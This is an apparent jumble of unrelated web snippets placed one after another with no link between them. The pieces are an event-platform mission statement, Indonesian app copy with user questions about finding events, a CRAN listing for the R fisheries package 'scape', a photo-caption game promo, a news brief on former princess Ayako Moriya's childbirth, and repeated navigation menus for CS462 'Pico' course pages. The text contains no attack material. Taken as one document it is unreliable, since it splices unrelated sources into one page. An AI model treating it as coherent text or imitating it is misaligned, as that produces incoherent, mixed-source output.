Music festivals, venues, marathons, conferences, hackathons, air guitar contests, political rallies, fundraisers, gaming competitions — you name it, we power it. Our mission? To bring the world together through live experiences.
Jalan
"Jalan" means to walk (in Bahasa). walking around is a very nice thing
We look forward to fulfilling your desire to keep walking with our technology.
Nyicil
"Nyicil" , means installment (in Bahasa).
We understand that walking on this day is very difficult to find a place that fulfills your dreams, your time and the nearest place from where you are.
I'm trying to find things to do in my surrounding area. But the events suggested only shows events in my current location. How do I search for events in other cities?
What should we do for this weekend?
Whats new?


Import, plot, and diagnose results from statistical catch-at-age models, used in fisheries stock assessment.
| Version: | 2.3-2 |
| Depends: | R (≥ 2.10) |
| Imports: | stats, utils, coda, Hmisc, lattice |
| Suggests: | gdata |
| Published: | 2018-05-01 |
| Author: | Arni Magnusson [aut, cre] |
| Maintainer: | Arni Magnusson <arni.magnusson at ices.dk> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | scape results |
| Reference manual: | scape.pdf |
| Vignettes: |
R goes fishing Gallery Importing results |
| Package source: | scape_2.3-2.tar.gz |
| Windows binaries: | r-devel: scape_2.3-2.zip, r-release: scape_2.3-2.zip, r-oldrel: scape_2.3-2.zip |
| OS X binaries: | r-release: scape_2.3-2.tgz, r-oldrel: scape_2.3-2.tgz |
| Old sources: | scape archive |
Please use the canonical form https://CRAN.R-project.org/package=scape to link to this page.


Check out everything Snaption can do!
Create games by uploading a photo!
Come up with the funniest photos for captions!
Share funny photos and captions with your friends through iMessage or email!
The caption with the most votes wins! Vote for your favorite caption!


Former Japanese princess gives birth to boy
Ayako Moriya, the third daughter of the late Prince Takamado and now a commoner, has given birth to a boy, her first child, the Imperial Household Agency said Sunday.
She gave birth at Aiiku Hospital in Tokyo at around 7 a.m. Sunday, and both the mother and the child are in good condition, the agency said.
Moriya, 29, lost her imperial status after marrying Kei Moriya, 33, an employee of shipping company Nippon Yusen K.K., in October 2018.
Prince Takamado was a cousin of Emperor Emeritus Akihito, the father of Emperor Naruhito.
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Section CS462-1 Pico
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- Rulesets
- Channels
- Subscriptions
- Logging
Section CS462-2 Pico
Section CS462-2 Pico
- About
- Rulesets
- Channels
- Subscriptions
- Logging
Student A Pico
Student A Pico
- About
- Rulesets
- Channels
- Subscriptions
- Logging
Student B Pico
Student B Pico
- About
- Rulesets
- Channels
- Subscriptions
- Logging